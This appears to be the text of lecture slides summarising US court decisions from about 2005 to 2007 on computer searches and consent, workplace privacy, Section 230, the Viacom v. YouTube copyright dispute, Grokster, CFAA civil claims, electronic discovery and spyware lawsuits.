  - **Government exceeded scope of consent to computer search, given by defendant arrested for stalking, when conducting authorized search of "creative writing" file authorities saw reference to "offshore" file, which they opened without warrant, discovering evidence of tax evasion.**
  - **Defendant a stalker**
  - **Consents to search of computer and instructs police officers that files are located D:Drive MyFiles directory Creative Writing folder.**
  - **$100,000+ in plain view, defendant admits he hasn't paid taxes in a while**
  - **Offshore folder on computer, officer looks at it**
  - **Search as to Offshore folder and derivative evidence exceeded scope of consent**

Searches- Consent

- ***U.S. v. Dehghani*, 2007 WL 710184 (W.D. Mo. March 06, 2007)**
  - **Police to defendants based upon allegation of child pornography and associated screen name to residence.**
  - **Request for consent to search computer**
  - **On-Site attempt to analyze fails**
  - **Permission to take off-site granted**
  - **Off-site forensics reveals evidence**
  - **Defendant argues that the police had no search warrant, they did not specifically state that his computer would be searched or seized, they failed to seize the 25-30 CD's lying next to the computer, failed to search another computer in the home.**
  - **It appears he may have believed the police would not have access to the pornography on the computer because they did not have defendant's passwords. However, defendant has offered no legal authority for how his assumption, if indeed it existed, would override his express voluntary consent to search his computer for child pornography**

Computer Search Special Needs

- *United States v. Heckenkamp,* **--- F.3d ----, 2007 WL 1051579 (9th Cir. N.D. Cal. Apr 05, 2007)**

  - **Denial of motions to suppress evidence in a prosecution for recklessly causing damage by intentionally accessing a protected computer without authorization are affirmed where: 1) although defendant had a reasonable expectation of privacy in his personal computer, a limited warrantless remote search of the computer was justified under the "special needs" exception to the warrant requirement; and 2) a subsequent search of his dorm room was justified, based on information obtained by means independent of a university search of the room**

Searches- Methods

- ***U.S. v. Vilar*, 2007 WL 1075041 (S.D.N.Y., Apr 04, 2007)**
  - **Warrant must state what materials to be seized from computer it need not specify how computers will be searched.**
  - **There is no case law holding officer must justify the lack of a search protocol in order to support issuance of the warrant.**
  - **Government not required to describe its specific search methodology.**
  - **Warrant not defective because it did not include a computer search methodology.**
  - ***But see 3817 W. West End*, 321 F.Supp2d at 960-62 requiring that computer search warrant include a search protocol**
  - **Supreme Court has held that it is generally left to the discretion of the executing officers to determine the details of how best to proceed with the performance of a search authorized by warrant.**

Computer Search Work Place

- ***U.S. v. Barrows*, --- F.3d ----, 2007 WL 970165 (10th Cir. W.D. Okla. Apr 03, 2007)**
  - **Does defendant possess a reasonable expectation of privacy in his personal computer he brought to work; placed on a common desk; and, connected it via the city network to the common computer sufficient to warrant protection from a government search?**
  - **Focus on surrounding circumstances - (1) the employee's relationship to the item seized; (2) whether the item was in the immediate control of the employee when it was seized; and (3) whether the employee took actions to maintain his privacy in the item.**
  - **No password; left constantly in open area; and, knowingly hooked PC up to network to share files**

Computer Search
Private Search/Agent of Law Enforcement

- ***U.S. v. Anderson*, 2007 WL 1121319 (N.D. Ind., Apr 16, 2007)**
  - **Computer repair shop fixes computer, observes numerous child pornography thumbnail images**
  - **Employees not agents of LEA, contracted to fix operating system, opening files normal part of checking to see if new installation of OS worked**
  - **When a private search has occurred, and the government subsequently searches, whether the Fourth Amendment is violated depends on the degree to which the government's search exceeds the scope of the private search.**

Web Pages & ISP

- ***Doe v. Mark Bates and Yahoo,*** **Slip Copy, 2006 WL 3813758 (E.D.Tex. Dec. 27, 2006)**
  - **Yahoo not liable in civil case for child pornography online group set up and moderated by a user on its servers.**
  - **User in jail**
  - **Civil suit targeted the ISP, Court ruled Section 230 immunity, even though alleged Yahoo broken law by hosting child porn.**
  - **No civil cases against site owners or hosting providers using allegation of criminal conduct to get around Section 230. Law intended to foster self-regulation of obscene and illegal content by service providers, and immunity is an important aspect of that.**
  - **Court - to allow suits on either basis (alleging criminal activity, or that any level of regulation creates liability) would have a chilling effect on online speech, which is something Congress didn't want to do in enacting the law.**

Copyright – The Complaint

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **YouTube has harnessed technology to willfully infringe copyrights on a huge scale**
  - **YouTube's brazen disregard of the intellectual property laws**
  - **Defendants actively engage in, promote and induce this infringement. Youtube itself publicly performs the infringing videos…It is YouTube that knowingly reproduces and publicly performs the copyrighted works uploaded to its site.**
  - **..have done little to nothing to prevent this massive infringement**

Copyright – The Complaint

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **YouTube deliberately built up a library of infringing works to draw traffic to the Youtube site**
  - **Because Youtube directly profits from the availability of popular infringing works on its site, it has decided to shift the burden entirely onto copyright owners to monitor the YouTube site on a daily or hourly basis to detect infringing videos and send notices to Youtube demanding that it "take down" the infringing works.**
  - **In many instances the very same infringing video remains on Youtube because it was uploaded by at least one other user, or appears on Youtube again within hours of its removal.**
  - **YouTube allows its users to make the hidden videos available to others through YouTube features like the "embed" "share" and "friends" functions**

Copyright – The Complaint

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **YouTube has filled its library with entire episodes and movies and significant segments of popular copyrighted programming… When a user uploads a video, Youtube copies the video in its software format, adds it to its own servers, and makes it available for viewing on its own website. A user who wants to view a video goes to the YouTube site by typing www.youtube.com into the user's web browser, enters search terms into a search and indexing function provided by YouTube for this purpose on its site, and receives a list of thumbnails of videos in the YouTube library matching those terms. Youtube creates the thumbnails, which are individual frames from videos in its library – including infringing videos – for the purpose of helping users find what they are searching for.**

Copyright – The Complaint

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **YouTube then publicly performs the chosen video by sending streaming video content from YouTube's servers to the user's computer… YouTube prominently displays its logo, user interface, and advertising to the user. Thus the YouTube conduct that forms the basis of this Complaint is not simply providing storage space, conduits, or other facilities to users who create their own websites with infringing materials. To the contrary, YouTube itself commits the infringing duplication, public performance and public display of Plaintiff's copyrighted works, and that infringement occurs on YouTube's own website, which is operated and controlled by Defendants, not users.**

Copyright – The Complaint

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **YouTube also allows any person to "embed" any video available in the YouTube library into another website (such as a blog, MySpace page, or any other page on the web where the user can post material). … the user simply copies the "embed" code, which YouTube supplies for each video in its library, and then pastes that code into the other website, where the embedded video will appear as a television shaped picture with the YouTube logo prominently displayed…When a user clicks the plat icon, the embedded video plays within the context of the host website, but it is actually YouTube, not the host site, that publicly performs the video by transmitting the streaming video content from YouTube's own servers to the viewer's computer.**

Copyright – The Complaint

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **Defendant's have actual knowledge and clear notice of this massive infringement, which is obvious to even the most casual visitor to the site…. YouTube has the right and ability to control the massive infringement…Youtube has reserved to itself the unilateral right to impose Terms of Use to which users must agree … Youtube has the power and authority to police what occurs on its premise…. YouTube imposes a wide number of content based restrictions … reserves the unfettered right to block or remove any video.. Inappropriate. YouTube proactively reviews and removes pornographic videos.**

Copyright – The Complaint

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **YouTube has failed to employ reasonable measures that could substantially reduce or eliminate the massive amount of copyright infringement…Youtube touts the availability of purported copyright protection tools… these tools prevent the upload of the exact same video . . . . However, users routinely alter as little as a frame or two of a video and repost it on Youtube.**

Copyright

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **Count I – Direct Copyright Infringement – Public performance**
  - **Count II – Direct Copyright Infringement – Public Display**
  - **Count III – Direct Copyright Infringement – Reproduction**
  - **Count IV – Inducement of Copyright Infringement**
  - **Count V – Contributory Copyright Infringement**
  - **Count VI – Vicarious Copyright Infringement**

Copyright- The Answer

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**
  - **Section 512 (safe harbor) hosting companies not liable, as long as they don't turn a blind eye to copyright infringement and if they remove infringing material when notified.**
  - **YouTube does the second part through a formal posted policy and it prohibits uploads of unauthorized videos more than 10 minutes in length.**
  - **Google confident that YouTube respects the legal rights of copyright holders and predicts courts will agree that the safe harbor applies only if the Web site does not financially benefit directly from the alleged infringing work. Attorneys for Google said Section 512 provides more than an ample shield that Web hosting companies like YouTube and blogging services enjoy a safe harbor.**
  - **Section 512 says Web site operators must not "receive a financial benefit directly attributable to the infringing activity" and that they must not be "aware of facts or circumstances from which infringing activity is apparent."**

Copyright- The Answer

- ***Viacom International, Inc. v. YouTube, LLC and Google, Inc.*, Civil Action No. 07 CV 2103 (S.D.N.Y. March 13, 2007)**

- **Viacom's complaint threatens the way hundreds of millions of people legitimately exchange information, news, entertainment, and political and artistic expression.**

- **Google and YouTube comply with safe harbor obligations and go well above and beyond what the law requires**

Copyright

- ***MGM Studios, Inc., v. Grokster, Ltd.*, 2005 U.S. LEXIS 5212 (U.S. June 27, 2005)**
  - **Petitioner copyright holders sued respondent software distributors, alleging that the distributors were liable for copyright infringement because the software of the distributors was intended to allow users to infringe copyrighted works. Upon the grant of a writ of certiorari, the holders appealed the judgment of the United States Court of Appeals for the Ninth Circuit which affirmed summary judgment in favor of the distributors. The distributors were aware that users employed their free software primarily to download copyrighted files, but the distributors contended that they could not be contributorily liable for the users' infringements since the software was capable of substantial noninfringing uses such as downloading works in the public domain. The U.S. Supreme Court unanimously held, however, that the distributors could be liable for contributory infringement, regardless of the software's lawful uses, based on evidence that the software was distributed with the principal, if not exclusive, object of promoting its use to infringe copyright. In addition to the distributors' knowledge of extensive infringement, the distributors expressly communicated to users the ability of the software to copy works and clearly expressed their intent to target former users of a similar service which was being challenged in court for facilitating copyright infringement. Further, the distributors made no attempt to develop filtering tools or mechanisms to diminish infringing activity, and the distributors' profit from advertisers clearly depended on high-volume use which was known to be infringing. The judgment affirming the grant of summary judgment to the distributors was vacated, and the case was remanded for further proceedings.**

Electronic Discovery

- ***Cenveo Corp. v. Slater*, 2007 WL 442387 (E.D. Pa. Jan. 31, 2007)**
  - **Court - because of the close relationship between plaintiff's claims and defendants' computer equipment, court set out a detailed three step process**
    - **Imaging**
      - **Plaintiff select computer expert, NDA Signed**
      - **Defendant's computers available at business**
      - **Defendant may have expert present**
    - **Recovery**
      - **All files, including deleted**
      - **Notice to Defendants**
    - **Disclosure**
      - **Within 45 days comments on disclosure**

D Orders

- ***Warshak v. United States*, --- F.3d ----, 2007 WL 1730094, (6th Cir. Ohio June 18, 2007)**
- ***Warshak v. United States*, 2006 U.S. Dist. LEXIS 50076 (W.D. Ohio July 21, 2006)**

D Orders

- **District court correctly determined e-mail users maintain a reasonable expectation of privacy in content of their e-mails, injunctive relief crafted was largely appropriate, we find necessary one modification. On remand, the preliminary injunction should be modified to prohibit the United States from seizing the contents of a personal e-mail account maintained by an ISP in the name of any resident of the Southern District of Ohio, pursuant to a court order issued under 2703(d), without either (1) providing the relevant account holder or subscriber prior notice and an opportunity to be heard, or (2) making a fact-specific showing that the account holder maintained no expectation of privacy with respect to the ISP, in which case only the ISP need be provided prior notice and an opportunity to be heard.**

Searches

- ***United States v. Adjani*, 452 F.3d 1140 (9th Cir. Cal. July 11, 2006)**
  - Government sought review of an order from the Court which granted a motion filed by defendant and codefendant to suppress their e-mail communications in their trial on charges of conspiring to commit extortion and transmitting a threatening communication with intent to extort in violation.
  - While executing a search warrant at defendant's home to obtain evidence of his alleged extortion, agents from the Federal Bureau of Investigation seized defendant's computer and external storage devices, which were later searched at an FBI computer lab. The agents also seized and subsequently searched a computer belonging to codefendant, who lived with defendant, even though she had not been identified as a suspect and was not named as a target in the warrant.

Searches

- ***United States v. Adjani*, 452 F.3d 1140 (9th Cir. Cal. July 11, 2006)**
  - Although individuals undoubtedly have a high expectation of privacy in the files stored on their personal computers, we have never held that agents may establish probable cause to search only those items owned or possessed by the criminal suspect. The law is to the contrary. "The critical element in a reasonable search is not that the owner of the property is suspected of crime but that there is reasonable cause to believe that the specific 'things' to be searched for and seized are located on the property to which entry is sought." *Zurcher v. Stanford Daily, 436 U.S. 547, 556, 98 S. Ct. 1970, 56 L. Ed. 2d 525 (1978)*; *cf. United States v. Ross, 456 U.S. 798, 820-21, 102 S. Ct. 2157, 72 L. Ed. 2d 572 (1982)*

Seizures

- ***United States v. Olander*, 2006 U.S. Dist. LEXIS 66824 (D. Ore. September 18, 2006)**
  - **Warrant at issue sought authority to search for and seize any computer hardware, software, or storage devices that could contain evidence of Olander's means to access, store, and view child pornography. Defendant voluntarily subjected external portions of his computer to expert examination, after his computer was reasonably viewed as possibly part of the "entire computer system" used by David Olander and could have contained evidence of David Olander's crimes.**

Seizures

- ***United States v. Olander*, 2006 U.S. Dist. LEXIS 66824 (D. Ore. September 18, 2006)**
  - The computer was seized properly under the warrant as a possible instrumentality of the crimes being investigated. The warrant allowed agents to search for and to seize "instrumentalities" that may contain evidence of the crime of possession of child pornography. There was a fair probability that defendant's computer contained evidence of David Olander's crimes and may have facilitated the commission of those crime. "The critical element in a reasonable search is not that the owner of the property is suspected of crime but that there is reasonable cause to believe that the specific 'things' to be searched for and seized are located on the property to which entry is sought."

Searches

- ***United States v. Hibble*, 2006 U.S. Dist. LEXIS 65421 (D. Ariz. September 11, 2006)**
  - Defense counsel objects to the Magistrate Judge's R & R because he misunderstood the use and operation of computers, the internet, and technology and was, therefore, mislead by the Government into believing that there was an unequivocal factual basis to support the search warrant. The Defendant argues that the Magistrate Judge should have heard testimony from his expert regarding the inexactitude of the facts relied on to establish probable cause as follows: 1) Internet Protocol Addresses; 2) Activity on Defendant's Computer; 3) Dates and Times of Activities; 4) Where did the Files Come From; 5) File Names; 6) Need More Sources; 7) Banning Users; 8) Hackers and Spoofers, and 9) Investigative Tools.

Searches

- ***United States v. Hibble*, 2006 U.S. Dist. LEXIS 65421 (D. Ariz. September 11, 2006)**
  - Defendant used an unsecured wireless router to access the internet. Defendant challenges the Government's claim that SA Andrews downloaded files from Defendant's computer because the files could have easily been downloaded from another computer that was accessing the Defendant's IPA. Also anyone that accesses the IPA through an unsecured wireless router can remotely access Defendant's computer and files can be downloaded, uploaded, or deleted from the Defendant's computer without the Defendant even knowing it. Defendant argues that SA Andrews should have confirmed that it was in fact Defendant's activity emanating from the Defendant's computer

Searches

- ***United States v. Larson*, 2006 CCA LEXIS 362, (A.F. Ct of Crim Aps. December 7, 2006)**
  - **The military appellate court first held that the servicemember had no reasonable expectation of privacy in the Internet history files of the government computer which were recorded automatically as part of the computer's operating system.**

Searches

- ***United States v. Steiger*, 2006 U.S. Dist. LEXIS 89832 (M. Dt. Ala. September 7, 2006)**
  - **Defendant's issues:**

    (1) **An anonymous hacker who provided information to police concerning Steiger was an agent of the government therefore search violated Fourth Amendment.**

    (2) Government's search warrant affidavit omitted material information by failing to state that hacker had obtained information about Steiger through the unauthorized search of his computer files.

Searches

- ***United States v. Ziegler*, 474 F.3d 1184 (9th Cir. Mont. January 30, 2007)**
  - **Employer consented to search of hard drive of defendant's workplace computer therefore a warrantless search of computer was reasonable under the Fourth Amendment.**
  - **Co-workers, acting at direction of federal agent, who entered defendant's office at night to copy hard drive of defendant's workplace computer received consent to search defendant's office and key to defendant's office from employer's chief financial officer**
  - **Court must determine whether an employee has an expectation of privacy in his workplace computer sufficient to suppress images of child pornography sought to be admitted into evidence in a criminal prosecution.**

Searches

- ***Soderstrand v. State ex rel. Bd. of Regents of Okla. Agric. & Mech. Colleges***, 2006 U.S. Dist. LEXIS 85402 (W. D. Okla. November 22, 2006)
  - **Plaintiff department head alleged that his personal laptop computer was improperly taken from his office at Oklahoma State University. The petition alleged a state law claim for conversion, and a federal claim against defendants, security analyst, dean, and associate dean, for unreasonable search and seizure in violation of the Fourth Amendment to the United States Constitution. The parties moved for summary judgment.**
  - **Court held dean, associate dean, and security analyst were entitled to qualified immunity. Search of hard drive was justified at inception and its scope was reasonably related to the circumstances which justified it. Evidence showed no conduct violated the Fourth Amendment**

Searches

- ***United States v. Hassoun*, 2007 U.S. Dist. LEXIS 3404 (S.D. Fla. January 17, 2007)**
  - **FBI seized two computer disks from Defendant's work area and copied two hard drives and email associated with the Defendant located on the Defendant's work computer. Prior to search employer executed a Consent to Search Form. After June seizure Government obtained a warrant to search and seize contents of two seized computers and email**
  - **Defendant argues the warrant violates Fourth Amendment by failing to describe with sufficient particularity the items to be seized. Second, that S & S exceeded scope of the warrant. Third, agents knowingly or recklessly included a material false statement in the affidavit in support of the search warrant.**
  - **Defendant did not have legitimate expectation of privacy in the work computer, related components and email seized.**

Searches

- ***United States v. Venkataram*, 2007 U.S. Dist. LEXIS 852, (S.D.N.Y. January 5, 2007)**
  - **In order for the warrantless search of Defendant's offices to be illegal, Defendant must first show that he had a reasonable expectation of privacy in the areas searched at the time of the search, after which he must still show that the search was unreasonable. See *O'Connor v. Ortega, 480 U.S. 709, 107 S. Ct. 1492, 94 L. Ed. 2d 714 (1987)*. Traditionally, to make this showing, the defendant "must demonstrate (1) that he had an expectation of privacy that society is prepared to consider reasonable and (2) that he had acted in a way with respect to the property in question that indicated a subjective expectation of privacy." *Shaul v. Cherry Valley-Springfield Cent. Sch., 363 F.3d 177, 181-82 (2d Cir. 2004)*. The burden of showing standing -- "that he had a legitimate expectation of privacy" -- to object to the legality of a search rests with the defendant. *Rawlings v. Kentucky, 448 U.S. 98, 104-05, 100 S. Ct. 2556, 65 L. Ed. 2d 633 (1980)*.**

CFAA –Civil Litigation

- ***Chas. S. Winner, Inc. v. Polistina*, 2007 WL 1652292 (D.N.J. June 04, 2007)**

- **The CFAA was historically a criminal statue penalizing unauthorized access, i.e., “hacking” into computers. The CFAA has been used increasingly in civil suits by employers to sue former employees and their new companies for misappropriation of information from the employer's computer system.**

CFAA –Civil Litigation

- ***L-3 Communications Westwood Corp. v. Robicharux*, 2007 WL 756528 (E.D. La. Mar 08, 2007)**
  - **Defendant employees of L-3**
  - **Computer forensics shows 110,000 files copied to 120 GB external hard drive.**
  - **L-3's loss of trade secrets and lost profits not contemplated by the CFAA. Losses under CFAA are compensable when they result from damage to a computer system or the inoperability of the accessed system. CFAA permits recovery for loss revenue only where connected to an interruption of service. There is no allegation that there was damage to L-3's computer or an interruption of service in this case.**
    Because L-3 has not asserted that there was damage to their computers or an interruption of service, it has not alleged a cognizable loss under the CFAA. Accordingly, L-3 has not demonstrated a likelihood of success on the merits of the CFAA claim.

CFAA –Civil Litigation

- ***P.C. of Yonkers, Inc. v. Celebrations! The Party and Seasonal Superstore,*** **L.L.C., 2007 WL 708978 (D. N.J. Mar 05, 2007)**
  - **CFAA's private cause of action sets forth a two-part injury requirement. Plaintiff must:(1) suffer a root injury of damage *or* loss; and (2) suffer one of five operatively-substantial effects set forth in subsection (a)(5)(B)(i)-(v).**
    - **(i) loss to 1 or more persons during any 1-year period (and, for purposes of an investigation, prosecution, or other proceeding brought by the United States only, loss resulting from a related course of conduct affecting 1 or more other protected computers) aggregating at least $5,000 in value;**
    - **(ii) the modification or impairment, or potential modification or impairment, of the medical examination, diagnosis, treatment, or care of 1 or more individuals;**
    - **(iii) physical injury to any person;**
    - **(iv) a threat to public health or safety; or**
    - **(v) damage affecting a computer system used by or for a government entity in furtherance of the administration of justice, national defense, or national security.**

CFAA –Civil Litigation

- ***P.C. of Yonkers, Inc. v. Celebrations! The Party and Seasonal Superstore,* L.L.C., 2007 WL 708978 (D. N.J. Mar 05, 2007)**
  - **No damage to the data, system, or information on Plaintiffs' computers is alleged within Plaintiffs' CFAA claims**
  - **Loss, treated separate from damage under the CFAA, is defined as "any reasonable cost to any victim, including the cost of responding to an offense, conducting a damage assessment, and restoring the data, program, system, or information to its condition prior to the offense, and any revenue lost, cost incurred, or other consequential damages incurred because of interruption of service.**
  - **The plain language of the CFAA treats lost revenue as a different concept from incurred costs, and permits recovery of the former only where connected to an interruption in service.**
  - **Plaintiffs have alleged that as a result of Defendants' unauthorized access and use of the information they have suffered and will continue to suffer substantial losses in excess of $5,000.00, including but not limited to losses sustained in responding to defendants' actions, investigating defendants' actions and taking remedial steps to prevent defendants' further actions.**

CFAA –Civil Litigation

- ***PharMerica, Inc. v. Arledge*, 2007 WL 865510 (M.D. Fla. March 21, 2007)**
  - **Arledge top level of PharMerica's management team**
  - **March 9, 2007, Arledge resigns – becomes VP at Omnicare**
  - **PharMerica examines laptop computer Arledge used and discovers several thousand e-mails on the laptop but that the hard drive "C" drive was virtually empty**
  - **March 14, 2007, PharMerica learned that:**
    - **February 13, 2007, Arledge downloaded a copy of the Mercer Report, which was marked "CLEAN" (regarding PharMerica's hub and spoke system), to an external personal AOL account (*SA1961@aol.com*) Later that day, Arledge met President and Executive Vice-President of Omnicare at Omnicare's headquarters**
    - **March 7, 2007, two days prior to his resignation, Arledge copied almost all of his electronic files from his work computer and then permanently deleted most of those files, 475 of these files**

CFAA –Civil Litigation

- ***PharMerica, Inc. v. Arledge*, 2007 WL 865510 (M.D. Fla. March 21, 2007)**
  - **TRO Granted - Arledge Ordered to:**
    - **a. Immediately return to PharMerica any and all documents, data, and information Arledge has taken from PharMerica and enjoining any use or disclosure of PharMerica's Confidential Information;**

      b. Immediately cease use or deletion of any materials from the computer to which he sent or uploaded PharMerica documents and any and all other computers, equipment, USB storage devices, hard drives, PDA's, or any similar device on which data may be stored, in his custody, possession or control ("the Computer Equipment").

      c. Within two days of his receipt of the Order, deliver the Computer Equipment to PharMerica's computer expert, Adam Sharp, E-Hounds, Inc., 2045 Lawson Road, Clearwater, Florida 33763, so that PharMerica's expert can examine and copy the information on the computer Equipment.

      d. Within ten days of his receipt of the Order, appear for deposition by PharMerica.

      e. Immediately postpone beginning his new employment with Omnicare until at least 10 days after all of the above requirements are met; the deposition is concluded; and, allow PharMerica time to seek additional relief if necessary

Corporate Lawsuits

- ***Advanced Micro Devices, inc. v. Intel Corp.*, (D. Del. Filed June 27, 2005)**
  - **Electronic Mail Retention Policy - Intel**
  - **Discovery Millions of E-Mails**
  - **Intel's document retention policy instructs users to move e-mails off their PCs onto hard drive.**
  - **Some employees fail to do so.**
  - **Intel has automatic e-m,ail deletion system, activates every couple or so months**

Discovery

- ***Memry Corp. v. Kentucky Oil Technology, N.V.*, 2007 WL 832937 (N.D. Cal. Mar 19, 2007)**
  - STC alleges that many of the documents produced by KOT have not been originals and have been produced in such a way as to obscure important information. STC also alleges that KOT has failed to produce numerous responsive documents, thus warranting full disclosure of KOT's computer hard drives
  - Case different from cases where courts allowed independent experts to obtain and search a "mirror image." Those cases all involve an extreme situation where data is likely to be destroyed or where computers have a special connection to the lawsuit.
    - Main allegation of complaint defendants improperly used their employer's computers to sabotage the plaintiff's business. *Ameriwood Industries, Inc. v Liberman*, 2006 WL 3825291 (E.D. Mo. Dec. 27, 2006)
    - Limited discovery of mirror image of hard drives where alleged defendants had launched attacks on plaintiff's file servers, and electronic data related to those attacks was apparently on the computers. *Physicians Interactive v. Lathian sys. Inc.*, 2003 WL 23018270 (E.D. Vir. Dec 5, 2003)
    - Hard drive mirroring allowed where defendants' continuous use of **computers** was making it likely that relevant electronic data would be overwritten before it could be accessed in the normal course of discovery. *Antioch Co. v Scrapbook Borders, Inc., 210 F.R.D. 645 (D. Minn 2002)*

Discovery

- **Metadata & Use in Lawsuits**
- **E-Discovery in effect December 1, 2006**
- **One federal Case – Produce documents with Metadata intact**
- **Parties free to negotiate how to handle metadata**

Discovery

- ***Rozell v. Ross*, 2006 U.S. Dist. LEXIS 2277 (S.D.N.Y. Jan 20, 2006)**
  - **When plaintiff claims that a defendant improperly accesses her e-mail account does every email transmitted through that account becomes subject to discovery. Plaintiff asserted claims of: (1) sexual harassment and retaliation in violation of Title VII of the Civil Rights Act of 1964, the New York State Human Rights Law, and the New York City Human Rights Law, (2) violation of the ECPA 18 USC § 2701; and (3) computer trespassing. Defendants now move pursuant to compel production of e-mails sent through the plaintiff's account. For the reasons discussed below, the defendants' motion is granted in part and denied in part.**

Discovery

- ***Whatley v. S.C. Dep't of Pub. Safety*, 2007 U.S. Dist. LEXIS 2391 (D. S.C. January 10, 2007)**
  - **Electronic mail communications can normally be authenticated by affidavit of a recipient, comparison of the communications content with other evidence, or statements or other statements from the purported author acknowledging the email communication.**

Discovery

- ***Hawkins v. Cavalli,* 2006 U.S. Dist. LEXIS 73143 (N.D. Cal. September 22, 2006)**
  - **Issue- Trial Court's admission of computer records were unreliable and violated due process rights**
  - **Held- In upholding the admission of the evidence, the California Court of Appeal was persuaded by a Louisiana case, which held that printouts of the results of a computer's internal operations are not hearsay, because they are not statements, nor are they representations of statements placed into the computer by out of court declarants. *State v. Armstead, 432 So.2d 837, 840 (La. 1983)*. Under *Armstead,* the test for admissibility of a printout reflecting a computer's internal operations is not whether the printout was made in the regular course of business, but whether the computer was functioning properly at the time the printout was produced.**

Discovery

- ***Hawkins v. Cavalli*, 2006 U.S. Dist. LEXIS 73143 (N.D. Cal. September 22, 2006)**
  - Some courts consider all computer records hearsay, admissible only under the business records or public records exceptions.
  - Other courts distinguish between computer-stored records and computer-generated records. These courts have held that computer-generated records are not hearsay because they are independent of human observations and reporting. *Id. at 157-58*; *see also*, *e.g.*, *United States v. Khorozian*, *333 F.3d 498, 505 (3d Cir. 2003)* (citing Mueller & Kirkpatrick, *Federal Evidence*, § 380, at 65 (2d ed. 1994)) (holding that a header generated by a fax machine was not hearsay, because "nothing 'said' by a machine... is hearsay"); *United States v. Hamilton*, *413 F.3d 1138, 1142 (10th Cir. 2005)* (holding that header information accompanying pornographic images uploaded to the internet were not hearsay). These courts have reasoned that because the computer instantaneously generated the header information without the assistance of a person, there was neither a "statement" nor a "declarant."

Discovery

- ***Mackelprang v. Fid. Nat'l Title Agency of Nev., Inc.,*** 2007 U.S. Dist. LEXIS 2379 (D. Nev January 9, 2007)
  - Defendant also argues that it is entitled to obtain production of the Myspace.com private **email** communications because they may contain statements made by Plaintiff and witnesses about the subject matter of this case which could presumably constitute admissions by Plaintiff or which could potentially be used to impeach the witnesses' testimony. In addition, Defendant argues that the private **email** messages may contain information that Plaintiff's alleged severe emotional distress was caused by factors other than Defendant's alleged sexual harassment misconduct.

Discovery

- ***Mackelprang v. Fid. Nat'l Title Agency of Nev., Inc.,*** 2007 U.S. Dist. LEXIS 2379 (D. Nev January 9, 2007)
  - The Myspace.com accounts were opened several months after Plaintiff left Defendant's employment. Assuming that the Myspace.com account contains sexually related email messages exchanged between Plaintiff and others, such evidence would not be admissible to support Defendants' defense that their prior alleged sexual conduct was welcomed by Plaintiff. The courts applying *Rule 412* have declined to recognize a sufficiently relevant connection between a plaintiff's non-work related sexual activity and the allegation that he or she was subjected to unwelcome and offensive sexual advancements in the workplace.
  - Ordering Plaintiff to execute the consent and authorization form for release of all of the private email messages on Plaintiff's Myspace.com internet accounts would allow Defendants to cast too wide a net for any information that might be relevant and discoverable.

Discovery

- ***Oscher v. Solomon Tropp Law Group, P.A. (In re Atl. Int'l Mortg. Co.)* 2006 Bankr. LEXIS 2487 (August 2, 2006)**
  - The trustee argued that the law firm, after having notice of its duty to preserve electronic evidence, either lost or destroyed backup tapes for the years most relevant to the firm's representation of the debtor. The court found that the law firm and its counsel responded to legitimate discovery requests with disingenuousness, obfuscation, and frivolous claims of privilege and that they twice filed meritless appeals of non-appealable discovery orders in attempts to prevent meaningful discovery by the trustee. The court concluded that the conduct of the firm and its counsel was totally devoid of the cooperation required by the rules governing discovery and that monetary sanctions were appropriate.

Discovery

- ***Potter v. Havlicek*, 2007 WL 539534 (S.D.Ohio, February 14, 2007)**
  - Before the Court is a motion requesting an injunction forbidding Defendant Jeffery Havlicek from "any use, disclosure, copying, dissemination or destruction of electronic communications, electronic files, data recordings, audio recordings, video recordings, and any other documents, objects, information, or data, in his possession or control which contain or relate to any statements, communications, writings, thoughts, images, sounds, ideas or personal information of Plaintiff Christina Potter."

E-Discovery

- ***Scotts Co. LLC v. Liberty Mut. Ins. Co*., 2007 WL 1723509 (S.D.Ohio, Jun 12, 2007)**

… entitled to an order, in the form proposed by plaintiff, that would require defendant to allow a forensic expert to search defendant's computer systems, network servers and databases and would require defendant to provide back up tapes of certain information systems ...

Privacy

- ***State of New Jersey v. Reid*, No. A-3424-05T5, 2007 WL 135685 (N.J. Super. Ct. App. Div. Jan. 22, 2007).**
  - **New Jersey Constitution provides for protection on information held by third parties.**

Spyware

- ***Sotelo v. Directrevenue*, 2005 U.S. Dist. LEXIS 18877, (N.D. Ill. August 29, 2005)**
  - **Plaintiff computer user brought a class action suit against defendants for trespass to personal property, unjust enrichment, negligence, and violation of Illinois consumer fraud and computer tampering statutes. After removing the suit to federal court, defendants filed motions to dismiss and to stay in favor of arbitration.**
- ***Sotelo v. Ebates Shopping.com, Inc.*, 2006 U.S. Dist. LEXIS 83539 (N.D. Ill Nov. 13, 2006)**
  - **Plaintiff filed his complaint on behalf of two classes--a nationwide class (Class A) and an Illinois class (Class B). Ebates is incorporated in California and has its principal place of business there. In the complaint, Plaintiff alleges on behalf of both classes that Ebates caused a software program, Moe Money Maker, to be downloaded onto users' computers, without the users' consent in violation of: 1) the Computer Fraud and Abuse Act, 2) the Electronic Communications Privacy Act, 18 U.S.C. § 2707, 2520; and 3) the California Business and Professional Code.**

Civil Suits

- ***Butera & Andrews v. IBM*, 2006 U.S. Dist. LEXIS 75318 (D. D.C. October 18, 2006)**
